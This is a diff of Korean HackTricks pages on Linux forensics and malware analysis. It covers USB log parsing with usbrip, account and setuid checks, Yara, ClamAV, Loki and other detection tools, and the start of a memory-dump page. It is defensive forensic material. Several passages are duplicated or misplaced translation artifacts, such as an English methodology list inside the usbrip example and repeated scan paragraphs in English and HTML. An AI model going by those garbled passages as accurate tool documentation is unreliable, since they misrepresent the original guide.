- **Git**: 저장소 변경 사항을 나타내는 _\~/.gitconfig_ 및 프로젝트 _.git/logs_를 검토하십시오.
|
||||
|
||||
### USB 로그
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip)는 USB 이벤트 기록 테이블을 작성하기 위해 Linux 로그 파일 (`/var/log/syslog*` 또는 `/var/log/messages*`에 따라 다름)을 구문 분석하는 순수 Python 3으로 작성된 소프트웨어입니다.
|
||||
|
||||
**사용된 모든 USB를 알아내는 것**은 중요하며, "위반 이벤트"를 찾기 위해 허가된 USB 목록이 있는 경우 더 유용할 수 있습니다.
|
||||
|
||||
### 설치
|
||||
```bash
|
||||
pip3 install usbrip
|
||||
usbrip ids download #Download USB ID database
|
||||
```
|
||||
### 예시
|
||||
|
||||
#### Basic Forensic Methodology
|
||||
|
||||
##### Linux Forensics
|
||||
|
||||
1. **Collecting Volatile Data**
|
||||
- **Description:** Collecting volatile data involves capturing information that is stored in temporary storage or memory that will be lost when the system is powered off or restarted.
|
||||
- **Tools:** `ps`, `top`, `netstat`, `lsof`
|
||||
|
||||
2. **Collecting Non-Volatile Data**
|
||||
- **Description:** Collecting non-volatile data involves capturing information that is stored on persistent storage devices such as hard drives or SSDs.
|
||||
- **Tools:** `dd`, `dc3dd`, `EnCase`, `FTK Imager`
|
||||
|
||||
3. **Analyzing Malware**
|
||||
- **Description:** Analyzing malware involves examining malicious software to understand its functionality and behavior.
|
||||
- **Tools:** `Cuckoo Sandbox`, `Hybrid Analysis`, `VirusTotal`
|
||||
|
||||
4. **Timeline Analysis**
|
||||
- **Description:** Timeline analysis involves creating a chronological sequence of events based on the evidence collected during the investigation.
|
||||
- **Tools:** `log2timeline`, `mactime`, `Plaso`
|
||||
|
||||
5. **File Carving**
|
||||
- **Description:** File carving involves extracting files from disk images or other storage media when the file system is damaged or incomplete.
|
||||
- **Tools:** `Scalpel`, `PhotoRec`, `Foremost`
|
||||
|
||||
6. **Memory Analysis**
|
||||
- **Description:** Memory analysis involves examining the memory of a system to identify running processes, open network connections, and other volatile data.
|
||||
- **Tools:** `Volatility`, `Rekall`, `LiME`
|
||||
|
||||
7. **Network Forensics**
|
||||
- **Description:** Network forensics involves monitoring and analyzing network traffic to gather evidence for investigating security incidents.
|
||||
- **Tools:** `Wireshark`, `tcpdump`, `NetworkMiner`
|
||||
|
||||
8. **Reporting**
|
||||
- **Description:** Reporting involves documenting the findings of the forensic investigation in a clear and organized manner.
|
||||
- **Tools:** `Sleuth Kit`, `Autopsy`, `X-Ways Forensics`
|
||||
```bash
|
||||
usbrip events history #Get USB history of your curent linux machine
|
||||
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
||||
#Search for vid and/or pid
|
||||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
더 많은 예제 및 정보는 깃허브 내부에 있습니다: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 사용자 계정 및 로그온 활동 검토
|
||||
|
||||
_**/etc/passwd**_, _**/etc/shadow**_ 및 **보안 로그**를 조사하여 알려진 무단 이벤트와 밀접한 시기에 생성되거나 사용된 이상한 이름 또는 계정을 확인하십시오. 또한 가능한 sudo 브루트 포스 공격을 확인하십시오.\
|
||||
또한, 사용자에게 부여된 예상치 못한 권한을 확인하기 위해 _**/etc/sudoers**_ 및 _**/etc/groups**_와 같은 파일을 확인하십시오.\
|
||||
마지막으로, **비밀번호가 없는 계정** 또는 **쉽게 추측할 수 있는** 비밀번호를 가진 계정을 찾아보세요.
|
||||
|
||||
## 파일 시스템 조사
|
||||
|
||||
### 악성 코드 조사를 위한 파일 시스템 구조 분석
|
||||
|
||||
악성 코드 사건을 조사할 때 파일 시스템의 구조는 사건의 순서와 악성 코드의 내용을 드러내는 중요한 정보원입니다. 그러나 악성 코드 작성자들은 파일 타임스탬프를 수정하거나 데이터 저장을 위해 파일 시스템을 피하는 등의 분석을 방해하는 기술을 개발하고 있습니다.
|
||||
|
||||
이러한 안티 포렌식 방법에 대응하기 위해 다음이 필요합니다:
|
||||
|
||||
* **Autopsy**와 같은 도구를 사용하여 이벤트 타임라인을 시각화하거나 **Sleuth Kit**의 `mactime`을 사용하여 자세한 타임라인 데이터를 분석하여 **철저한 타임라인 분석**을 수행합니다.
|
||||
* 시스템의 $PATH에 있는 **예상치 못한 스크립트**를 조사하십시오. 이는 공격자가 사용하는 쉘 또는 PHP 스크립트를 포함할 수 있습니다.
|
||||
* **/dev**에서 **비정상적인 파일**을 조사하십시오. 일반적으로 특수 파일을 포함하지만 악성 코드 관련 파일을 포함할 수도 있습니다.
|
||||
* ".. " (점 점 공백) 또는 "..^G" (점 점 제어-G)와 같은 이름의 **숨겨진 파일 또는 디렉토리**를 검색하십시오. 이는 악의적인 콘텐츠를 숨길 수 있습니다.
|
||||
* `find / -user root -perm -04000 -print` 명령을 사용하여 **setuid root 파일**을 식별합니다. 이는 공격자가 악용할 수 있는 권한이 상승된 파일을 찾습니다.
|
||||
* inode 테이블에서 **삭제 타임스탬프**를 검토하여 대량 파일 삭제를 확인하고 루트킷 또는 트로이 목이 존재할 수 있음을 나타낼 수 있습니다.
|
||||
* 하나를 식별한 후 **인접한 악성 파일을 위해 연속된 inode**를 조사하십시오. 이들은 함께 배치될 수 있습니다.
|
||||
* **최근 수정된 파일**을 확인하기 위해 일반적인 이진 디렉토리 (_/bin_, _/sbin_)를 확인하십시오. 이는 악성 코드에 의해 변경될 수 있습니다.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
||||
# Sort files in a directory by inode:
|
||||
ls -lai /bin | sort -n```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
**공격자**가 **파일을 수정**하여 **파일이 정당해 보이도록 시간을 조작**할 수 있지만 **inode**를 수정할 수는 없습니다. 동일한 폴더 내의 다른 파일들과 동일한 시간에 생성 및 수정되었다는 **파일**을 발견하더라도 **inode**가 **예상치 못하게 크다면**, 해당 **파일의 타임스탬프가 수정**된 것입니다.
|
||||
{% endhint %}
|
||||
|
||||
## 다른 파일 시스템 버전의 파일 비교
|
||||
|
||||
### 파일 시스템 버전 비교 요약
|
||||
|
||||
파일 시스템 버전을 비교하고 변경 사항을 파악하기 위해 간소화된 `git diff` 명령을 사용합니다:
|
||||
|
||||
* **새 파일을 찾으려면**, 두 디렉토리를 비교합니다:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **수정된 내용에 대해**, 특정 라인을 무시하고 변경 사항을 나열하십시오:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
* **삭제된 파일을 감지하려면**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **필터 옵션** (`--diff-filter`)은 추가된 (`A`), 삭제된 (`D`), 또는 수정된 (`M`) 파일과 같은 특정 변경 사항으로 좁히는 데 도움이 됩니다.
|
||||
* `A`: 추가된 파일
|
||||
* `C`: 복사된 파일
|
||||
* `D`: 삭제된 파일
|
||||
* `M`: 수정된 파일
|
||||
* `R`: 이름이 바뀐 파일
|
||||
* `T`: 유형 변경 (예: 파일에서 심볼릭 링크로)
|
||||
* `U`: 병합되지 않은 파일
|
||||
* `X`: 알 수 없는 파일
|
||||
* `B`: 손상된 파일
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
|
||||
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **책: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
**사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀하의 회사를 광고**하고 싶으신가요? 또는 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
|
||||
**해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
@ -0,0 +1,266 @@
|
|||
# 악성코드 분석
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 포렌식 치트시트
|
||||
|
||||
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
||||
|
||||
## 온라인 서비스
|
||||
|
||||
* [VirusTotal](https://www.virustotal.com/gui/home/upload)
|
||||
* [HybridAnalysis](https://www.hybrid-analysis.com)
|
||||
* [Koodous](https://koodous.com)
|
||||
* [Intezer](https://analyze.intezer.com)
|
||||
* [Any.Run](https://any.run/)
|
||||
|
||||
## 오프라인 백신 및 탐지 도구
|
||||
|
||||
### Yara
|
||||
|
||||
#### 설치
|
||||
```bash
|
||||
sudo apt-get install -y yara
|
||||
```
|
||||
#### 규칙 준비
|
||||
|
||||
다음 스크립트를 사용하여 깃허브에서 모든 악성코드 yara 규칙을 다운로드하고 병합하세요: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
_**rules**_ 디렉토리를 생성하고 실행하세요. 이렇게 하면 _**malware\_rules.yar**_라는 파일이 생성되며, 이 파일에는 모든 악성코드 yara 규칙이 포함됩니다.
|
||||
```bash
|
||||
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||
mkdir rules
|
||||
python malware_yara_rules.py
|
||||
```
|
||||
#### 스캔
|
||||
|
||||
```markdown
|
||||
The first step in malware analysis is to scan the suspicious file or program. This step helps to identify any known malware signatures or indicators of compromise (IOCs). There are several tools and techniques that can be used for scanning, including antivirus software, sandboxing, and static analysis.
|
||||
|
||||
Antivirus software: Use a reliable antivirus software to scan the suspicious file. The antivirus software will compare the file against a database of known malware signatures and detect any matches.
|
||||
|
||||
Sandboxing: Run the suspicious file in a controlled environment called a sandbox. The sandbox isolates the file from the rest of the system, allowing you to observe its behavior without risking the infection of your machine.
|
||||
|
||||
Static analysis: Analyze the file without executing it. This can be done by examining the file's metadata, such as file size, creation date, and file type. Additionally, you can use tools like file format analyzers and hex editors to inspect the file's structure and contents.
|
||||
|
||||
By scanning the suspicious file, you can gather initial information about its potential maliciousness and determine if further analysis is required.
|
||||
```
|
||||
|
||||
```html
|
||||
Malware 분석의 첫 번째 단계는 의심스러운 파일이나 프로그램을 스캔하는 것입니다. 이 단계는 알려진 악성 코드 식별자나 침해 지표(IOCs)를 확인하는 데 도움이 됩니다. 스캔에는 안티바이러스 소프트웨어, 샌드박싱, 정적 분석 등 여러 도구와 기술을 사용할 수 있습니다.
|
||||
|
||||
안티바이러스 소프트웨어: 신뢰할 수 있는 안티바이러스 소프트웨어를 사용하여 의심스러운 파일을 스캔합니다. 안티바이러스 소프트웨어는 알려진 악성 코드 식별자 데이터베이스와 파일을 비교하여 일치하는 항목을 감지합니다.
|
||||
|
||||
샌드박싱: 의심스러운 파일을 샌드박스라는 제어된 환경에서 실행합니다. 샌드박스는 파일을 시스템의 나머지 부분과 격리시켜 시스템 감염의 위험 없이 파일의 동작을 관찰할 수 있게 합니다.
|
||||
|
||||
정적 분석: 파일을 실행하지 않고 분석합니다. 이는 파일의 메타데이터(파일 크기, 생성 날짜, 파일 유형 등)를 조사함으로써 수행될 수 있습니다. 또한 파일 형식 분석 도구와 헥스 에디터와 같은 도구를 사용하여 파일의 구조와 내용을 검사할 수 있습니다.
|
||||
|
||||
의심스러운 파일을 스캔함으로써 잠재적인 악성성에 대한 초기 정보를 수집하고 추가 분석이 필요한지 여부를 결정할 수 있습니다.
|
||||
```
|
||||
```bash
|
||||
yara -w malware_rules.yar image #Scan 1 file
|
||||
yara -w malware_rules.yar folder #Scan the whole folder
|
||||
```
|
||||
#### YaraGen: 악성코드 확인 및 규칙 생성
|
||||
|
||||
[**YaraGen**](https://github.com/Neo23x0/yarGen) 도구를 사용하여 이진 파일에서 yara 규칙을 생성할 수 있습니다. 다음 튜토리얼을 확인해보세요: [**파트 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**파트 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**파트 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
```bash
|
||||
python3 yarGen.py --update
|
||||
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||
```
|
||||
### ClamAV
|
||||
|
||||
#### 설치
|
||||
|
||||
ClamAV는 오픈 소스 악성 코드 탐지 및 백신 소프트웨어입니다. 다음 명령을 사용하여 ClamAV를 설치할 수 있습니다.
|
||||
|
||||
```bash
|
||||
sudo apt-get install clamav
|
||||
```
|
||||
|
||||
또는
|
||||
|
||||
```bash
|
||||
sudo yum install clamav
|
||||
```
|
||||
|
||||
#### 업데이트
|
||||
|
||||
ClamAV 데이터베이스를 최신 상태로 유지하기 위해 정기적으로 업데이트해야 합니다. 다음 명령을 사용하여 ClamAV 데이터베이스를 업데이트할 수 있습니다.
|
||||
|
||||
```bash
|
||||
sudo freshclam
|
||||
```
|
||||
|
||||
#### 스캔
|
||||
|
||||
ClamAV를 사용하여 시스템을 스캔하려면 다음 명령을 사용합니다.
|
||||
|
||||
```bash
|
||||
clamscan -r /path/to/scan
|
||||
```
|
||||
|
||||
`-r` 옵션은 재귀적으로 디렉토리를 스캔하도록 지정합니다. `/path/to/scan`은 스캔할 디렉토리 또는 파일의 경로입니다.
|
||||
|
||||
#### 결과 분석
|
||||
|
||||
ClamAV 스캔 결과는 악성 코드 또는 의심스러운 파일을 식별합니다. 스캔 결과를 분석하여 악성 파일을 확인할 수 있습니다.
|
||||
|
||||
#### 자동 스캔
|
||||
|
||||
ClamAV를 사용하여 자동으로 시스템을 스캔하려면 cron 작업을 설정해야 합니다. cron 작업을 설정하면 정기적으로 ClamAV가 시스템을 스캔하고 악성 코드를 탐지할 수 있습니다.
|
||||
```
|
||||
sudo apt-get install -y clamav
|
||||
```
|
||||
#### 스캔
|
||||
|
||||
```markdown
|
||||
The first step in malware analysis is to scan the suspicious file or program. This step helps to identify any known malware signatures or indicators of compromise (IOCs). There are several tools and techniques that can be used for scanning, including antivirus software, sandboxing, and static analysis.
|
||||
|
||||
Antivirus software: Use a reliable antivirus software to scan the suspicious file. The antivirus software will compare the file against a database of known malware signatures and detect any matches.
|
||||
|
||||
Sandboxing: Run the suspicious file in a controlled environment called a sandbox. The sandbox isolates the file from the rest of the system, allowing you to observe its behavior without risking the infection of your machine.
|
||||
|
||||
Static analysis: Analyze the file without executing it. This can be done by examining the file's metadata, such as file size, creation date, and file type. Additionally, you can use tools like file format analyzers to identify any suspicious patterns or anomalies in the file's structure.
|
||||
|
||||
It is important to note that scanning alone may not be sufficient to detect all types of malware. Some malware may be designed to evade detection by antivirus software or exhibit behavior that is only triggered under specific conditions. Therefore, additional analysis techniques may be necessary to fully understand and mitigate the threat.
|
||||
```
|
||||
|
||||
```html
|
||||
<h4>스캔</h4>
|
||||
|
||||
<p>악성 코드 분석의 첫 번째 단계는 의심스러운 파일이나 프로그램을 스캔하는 것입니다. 이 단계는 알려진 악성 코드 식별자나 침해 지표를 확인하는 데 도움이 됩니다. 스캔에는 백신 소프트웨어, 샌드박싱, 정적 분석 등 여러 도구와 기술을 사용할 수 있습니다.</p>
|
||||
|
||||
<p>백신 소프트웨어: 신뢰할 수 있는 백신 소프트웨어를 사용하여 의심스러운 파일을 스캔합니다. 백신 소프트웨어는 알려진 악성 코드 식별자 데이터베이스와 파일을 비교하여 일치하는 항목을 감지합니다.</p>
|
||||
|
||||
<p>샌드박싱: 의심스러운 파일을 샌드박스라는 제어된 환경에서 실행합니다. 샌드박스는 파일을 시스템의 나머지 부분과 격리시켜 시스템 감염의 위험 없이 파일의 동작을 관찰할 수 있게 합니다.</p>
|
||||
|
||||
<p>정적 분석: 파일을 실행하지 않고 분석합니다. 이는 파일의 메타데이터(파일 크기, 생성 날짜, 파일 유형 등)를 조사함으로써 수행될 수 있습니다. 또한 파일 형식 분석기와 같은 도구를 사용하여 파일 구조에서 의심스러운 패턴이나 이상점을 식별할 수 있습니다.</p>
|
||||
|
||||
<p>스캔만으로는 모든 유형의 악성 코드를 감지하는 데 충분하지 않을 수 있다는 점을 유의해야 합니다. 일부 악성 코드는 백신 소프트웨어의 탐지를 피하도록 설계되거나 특정 조건에서만 동작하는 행동을 보일 수 있습니다. 따라서 완전한 이해와 위협 완화를 위해 추가적인 분석 기술이 필요할 수 있습니다.</p>
|
||||
```
|
||||
```bash
|
||||
sudo freshclam #Update rules
|
||||
clamscan filepath #Scan 1 file
|
||||
clamscan folderpath #Scan the whole folder
|
||||
```
|
||||
### [Capa](https://github.com/mandiant/capa)
|
||||
|
||||
**Capa**는 실행 가능한 파일인 PE, ELF, .NET에서 잠재적으로 악성인 **기능**을 감지합니다. 따라서 다음과 같은 것들을 찾을 수 있습니다:
|
||||
|
||||
* OutputDebugString 오류 확인
|
||||
* 서비스로 실행
|
||||
* 프로세스 생성
|
||||
|
||||
[**Github 저장소**](https://github.com/mandiant/capa)에서 받을 수 있습니다.
|
||||
|
||||
### IOC
|
||||
|
||||
IOC는 Compromise의 지표입니다. IOC는 일부 잠재적으로 원치 않는 소프트웨어 또는 확인된 **악성 코드**를 식별하는 **조건들의 집합**입니다. Blue Team은 이러한 정의를 사용하여 시스템과 네트워크에서 이러한 악성 파일을 검색합니다.\
|
||||
이러한 정의를 공유하는 것은 매우 유용합니다. 컴퓨터에서 악성 코드가 식별되고 해당 악성 코드에 대한 IOC가 생성되면, 다른 Blue Team은 이를 사용하여 악성 코드를 더 빠르게 식별할 수 있습니다.
|
||||
|
||||
IOC를 생성하거나 수정하는 도구로는 [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**가 있습니다.**\
|
||||
[**Redline**](https://www.fireeye.com/services/freeware/redline.html)과 같은 도구를 사용하여 장치에서 정의된 IOC를 검색할 수 있습니다.
|
||||
|
||||
### Loki
|
||||
|
||||
[**Loki**](https://github.com/Neo23x0/Loki)는 간단한 Compromise 지표를 스캔하는 도구입니다.\
|
||||
감지는 네 가지 감지 방법을 기반으로 합니다:
|
||||
```
|
||||
1. File Name IOC
|
||||
Regex match on full file path/name
|
||||
|
||||
2. Yara Rule Check
|
||||
Yara signature matches on file data and process memory
|
||||
|
||||
3. Hash Check
|
||||
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
||||
|
||||
4. C2 Back Connect Check
|
||||
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||
```
|
||||
### Linux Malware Detect
|
||||
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/)은 GNU GPLv2 라이선스로 출시된 Linux용 악성 코드 스캐너입니다. 이는 공유 호스팅 환경에서 직면하는 위협을 기반으로 설계되었습니다. LMD는 네트워크 엣지 침입 탐지 시스템에서 수집한 위협 데이터를 사용하여 공격 중인 악성 코드를 추출하고 탐지를 위한 시그니처를 생성합니다. 또한, LMD 체크아웃 기능과 악성 코드 커뮤니티 자원을 통해 사용자 제출을 통해 위협 데이터를 얻을 수도 있습니다.
|
||||
|
||||
### rkhunter
|
||||
|
||||
[**rkhunter**](http://rkhunter.sourceforge.net)와 같은 도구를 사용하여 파일 시스템에서 가능한 **루트킷**과 악성 코드를 확인할 수 있습니다.
|
||||
```bash
|
||||
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||
```
|
||||
### FLOSS
|
||||
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss)는 다양한 기술을 사용하여 실행 파일 내에서 난독화된 문자열을 찾으려고 시도하는 도구입니다.
|
||||
|
||||
### PEpper
|
||||
|
||||
[PEpper](https://github.com/Th3Hurrican3/PEpper)는 실행 파일 내에서 기본적인 내용(바이너리 데이터, 엔트로피, URL 및 IP, 일부 yara 규칙)을 확인합니다.
|
||||
|
||||
### PEstudio
|
||||
|
||||
[PEstudio](https://www.winitor.com/download)는 Windows 실행 파일의 가져오기, 내보내기, 헤더와 같은 정보를 얻을 수 있는 도구이며, 또한 바이러스 토탈을 확인하고 잠재적인 Att\&ck 기술을 찾을 수도 있습니다.
|
||||
|
||||
### Detect It Easy(DiE)
|
||||
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/)는 파일이 **암호화**되었는지 여부를 감지하고 **패커**를 찾는 도구입니다.
|
||||
|
||||
### NeoPI
|
||||
|
||||
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI)는 Python 스크립트로, 텍스트/스크립트 파일 내에서 **난독화**된 내용과 **암호화**된 내용을 감지하기 위해 다양한 **통계적 방법**을 사용합니다. NeoPI의 목적은 **숨겨진 웹 쉘 코드**를 감지하는 데 도움을 주는 것입니다.
|
||||
|
||||
### **php-malware-finder**
|
||||
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder)는 **난독화**된/**의심스러운 코드**와 **악성 코드**/웹쉘에서 자주 사용되는 **PHP** 함수를 사용하는 파일을 감지하기 위해 최선을 다합니다.
|
||||
|
||||
### Apple Binary Signatures
|
||||
|
||||
악성 코드 샘플을 확인할 때 항상 이진 파일의 **서명**을 확인해야 합니다. 서명한 **개발자**가 이미 **악성 코드**와 관련이 있을 수 있기 때문입니다.
|
||||
```bash
|
||||
#Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
||||
#Check if the app’s contents have been modified
|
||||
codesign --verify --verbose /Applications/Safari.app
|
||||
|
||||
#Check if the signature is valid
|
||||
spctl --assess --verbose /Applications/Safari.app
|
||||
```
|
||||
## 탐지 기법
|
||||
|
||||
### 파일 스택
|
||||
|
||||
웹 서버의 **파일들이 마지막으로 업데이트된 날짜**를 알고 있다면, **웹 서버의 모든 파일들이 생성 및 수정된 날짜**를 확인하고, 어떤 날짜가 **수상할 만한지** 확인하세요. 그리고 해당 파일을 확인하세요.
|
||||
|
||||
### 기준선
|
||||
|
||||
만약 폴더의 파일들이 **수정되지 않았어야 한다면**, 해당 폴더의 **원본 파일들의 해시**를 계산하고, **현재 파일들과 비교**하세요. 수정된 것은 **수상할 만한 것**입니다.
|
||||
|
||||
### 통계 분석
|
||||
|
||||
정보가 로그에 저장되어 있다면, 웹 서버의 각 파일이 웹 쉘 중 하나일 수 있으므로, **각 웹 서버 파일이 얼마나 자주 액세스되었는지와 같은 통계**를 확인할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 기교를 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,72 @@
|
|||
# 메모리 덤프 분석
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 중요한 사이버 보안 행사 중 하나로 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 끓어오르는 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## 시작하기
|
||||
